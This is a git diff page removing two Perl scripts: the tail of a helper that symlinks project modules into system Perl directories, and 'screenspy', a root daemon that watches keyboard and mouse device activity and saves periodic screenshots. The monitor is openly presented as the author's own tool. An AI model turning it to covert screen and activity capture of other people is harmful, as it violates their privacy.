-	die "Usage: $0 /path/to/git/project\n";
23
-}
24
-if (!-d $root) {
25
-	die "Error: $root is not a directory\n";
26
-}
27
-
28
-chdir($root);
29
-my $abspath = Cwd::abs_path(".");
30
-
31
-if (-d "./perl-libs") {
32
-	perl_libs();
33
-}
34
-
35
-sub perl_libs {
36
-	# Root directories to check.
37
-	my @lib = (
38
-		"/usr/share/perl5",
39
-		"/usr/share/perl5/vendor_perl",
40
-	);
41
-
42
-	# Find all the perl-libs projects.
43
-	opendir(my $dh, "./perl-libs");
44
-	foreach my $project (readdir($dh)) {
45
-		next unless -d "./perl-libs/$project/lib";
46
-		print "Project: perl-libs/$project\n";
47
-
48
-		# Get its modules.
49
-		foreach my $module (scan("./perl-libs/$project/lib")) {
50
-			$module =~ s{^\./perl-libs/$project/lib/}{}g;
51
-			foreach my $lib (@lib) {
52
-				if (-f "$lib/$module") {
53
-					print "  - Link: $lib/$module\n";
54
-					unlink("$lib/$module");
55
-					symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module");
56
-				}
57
-			}
58
-		}
59
-	}
60
-}
61
-
62
-# Recursively scan a directory.
63
-sub scan {
64
-	my $dir = shift;
65
-
66
-	my @found;
67
-
68
-	opendir (my $dh, $dir);
69
-	foreach my $file (readdir($dh)) {
70
-		next if ($file eq '.' || $file eq '..');
71
-		if (-d "$dir/$file") {
72
-			push @found, scan("$dir/$file");
73
-		} else {
74
-			push @found, "$dir/$file";
75
-		}
76
-	}
77
-	closedir($dh);
78
-
79
-	return @found;
80
-}

+ 0
- 167
home/bin/screenspy View File

@@ -1,167 +0,0 @@
1
-#!/usr/bin/perl -w
2
-
3
-# screenspy - Linux desktop monitoring daemon. Must be run as root.
4
-
5
-# This script monitors one or more hardware devices (usually under /dev) for
6
-# Linux systems running an X window manager.
7
-#
8
-# This script must be run as root because usually only root can read from
9
-# hardware devices directly. You can set up a panel launcher to run this
10
-# script with `sudo` if you previously set up the sudoers file to let your
11
-# user run this script with no password.
12
-#
13
-# --Kirsle
14
-# http://sh.kirsle.net/
15
-
16
-use strict;
17
-use warnings;
18
-use threads;
19
-use threads::shared;
20
-
21
-#################
22
-# Configuration #
23
-#################
24
-
25
-# X display to grab screenshots from.
26
-$ENV{DISPLAY} ||= ":0.0";
27
-
28
-# Devices to monitor.
29
-our @devices = (
30
-	"/dev/console",    # keyboard input
31
-	"/dev/input/mice", # mouse input
32
-);
33
-
34
-# Screenshot command.
35
-our $screenshot = 'scrot -q 85 "%s"';
36
-
37
-# Output directory for screenshots.
38
-our $outdir = '/home/kirsle/Pictures/screenspy';
39
-
40
-# Calibration: number of seconds (after no activity) for it to take a screenshot.
41
-our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.
42
-
43
-# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
44
-our $prolonged = 5;
45
-
46
-# If you want some indication that the app is running, put the command to run in here.
47
-# This command will be repeatedly run. Recommended is to use zenity and put an icon in
48
-# your system tray. Leave blank for no command.
49
-our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";
50
-
51
-#####################
52
-# End Configuration #
53
-#####################
54
-
55
-# Only let this script run once.
56
-&checkdupes();
57
-
58
-# Each thread will report the time when the last event happened.
59
-my %lastEvent : shared;
60
-my %changed : shared;
61
-
62
-# Spawn a thread for each device.
63
-my @threads = ();
64
-foreach my $dev (@devices) {
65
-	# Make sure we can read the device.
66
-	if (!-r $dev) {
67
-		system("zenity --error --text \"Don't have permission to read from device $dev\"");
68
-	}
69
-	push (@threads, threads->create (\&monitor, $dev));
70
-}
71
-
72
-# If they want a command run, spawn a thread for it too.
73
-if (length $notify) {
74
-	push (@threads, threads->create (\&notify));
75
-}
76
-
77
-# Loop forever and let the threads do their thing.
78
-while (1) {
79
-	# See if any events have stopped for longer than the threshold.
80
-	foreach my $dev (keys %lastEvent) {
81
-		if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
82
-			# take screenshot
83
-			print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
84
-			&screenshot();
85
-			$lastEvent{$dev} = 0;
86
-			$changed{$dev} = 0;
87
-		}
88
-	}
89
-	select(undef,undef,undef,0.01);
90
-}
91
-
92
-sub monitor {
93
-	my $device = shift;
94
-	print "Monitoring device: $device\n";
95
-
96
-	# Store the time when the last event was seen.
97
-	$lastEvent{$device} = 0;
98
-
99
-	# When the lastEvent is first set (away from 0), record the time it was changed.
100
-	# This way for prolonged activity we can still take screenshots.
101
-	$changed{$device} = 0;
102
-
103
-	open (READ, $device);
104
-	my $buffer;
105
-	while (read(READ, $buffer, 1)) {
106
-		# Store the last event time
107
-		if ($lastEvent{$device} == 0) {
108
-			$changed{$device} = time();
109
-		}
110
-		$lastEvent{$device} = time();
111
-
112
-		# Too much activity?
113
-		if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
114
-			# Take screenshot.
115
-			print "$device: prolonged activity (> $prolonged seconds)\n";
116
-			&screenshot();
117
-			$changed{$device} = time();
118
-		}
119
-	}
120
-	close (READ);
121
-}
122
-
123
-sub notify {
124
-	while (1) {
125
-		system($notify);
126
-	}
127
-}
128
-
129
-sub screenshot {
130
-	print "Taking screenshot!\n";
131
-
132
-	my @time = localtime(time());
133
-	my $date = join(" ",
134
-		join("-",
135
-			sprintf("%04d", $time[5] + 1900),
136
-			sprintf("%02d", $time[4] + 1),
137
-			sprintf("%02d", $time[3]),
138
-		),
139
-		join(":",
140
-			sprintf("%02d", $time[2]),
141
-			sprintf("%02d", $time[1]),
142
-			sprintf("%02d", $time[0]),
143
-		),
144
-	);
145
-
146
-	my $fname = $date;
147
-	my $i = 1;
148
-	while (-f "$outdir/$fname.png") {
149
-		$fname = $date . " [$i]";
150
-		$i++;
151
-	}
152
-	my $cmd = $screenshot;
153
-	$cmd =~ s/%s/$outdir\/$fname\.png/ig;
154
-	system($cmd);
155
-}
156
-
157
-sub checkdupes {
158
-	my $ps = `ps aux | grep screenspy`;
159
-	foreach my $line (split(/\n/,$ps)) {
160
-		chomp $line;
161
-		next if $line =~ /grep/i;
162
-		next if $line =~ /$$/i;
163
-		if ($line) {
164
-			die "Script is already running!\n";
165
-		}
166
-	}
167
-}

Loading…
Cancel
Save